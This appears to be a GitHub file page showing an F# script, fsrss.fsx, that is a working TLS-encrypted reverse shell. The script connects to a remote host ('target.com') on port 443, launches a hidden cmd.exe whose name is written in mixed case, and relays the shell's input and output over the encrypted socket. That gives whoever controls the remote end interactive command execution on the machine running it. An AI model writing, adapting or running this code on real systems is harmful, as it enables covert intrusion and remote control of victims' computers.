-
Notifications
You must be signed in to change notification settings - Fork 0
/
fsrss.fsx
51 lines (37 loc) · 1.45 KB
/
fsrss.fsx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
open System
open System.Net
open System.Net.Security
open System.Diagnostics
let rec asyncStdin (stream: System.Net.Security.SslStream, cmd: Process) =
async {
let input = stream.ReadByte() |> Char.ConvertFromUtf32
cmd.StandardInput.Write(input)
return! asyncStdin (stream, cmd)
}
let rec asyncStdout (stream: System.Net.Security.SslStream, cmd: Process) =
async {
let output = cmd.StandardOutput.Read() |> Char.ConvertFromUtf32
let outbyte = System.Text.Encoding.UTF32.GetBytes(output)
stream.Write(outbyte, 0, outbyte.Length)
return! asyncStdout (stream, cmd)
}
let main =
let client = new System.Net.Sockets.TcpClient()
client.Connect("target.com", 443)
let stream = new SslStream(client.GetStream())
stream.AuthenticateAsClient("target.com");
let procStartInfo = ProcessStartInfo (
FileName = "cMd.exe",
RedirectStandardInput = true,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
)
let cmd = new Process(StartInfo = procStartInfo)
let err = cmd.Start()
asyncStdin (stream, cmd) |> Async.Start
asyncStdout (stream, cmd) |> Async.RunSynchronously
stream.Flush()
System.Threading.Thread.Sleep(TimeSpan.FromSeconds(30.0))
main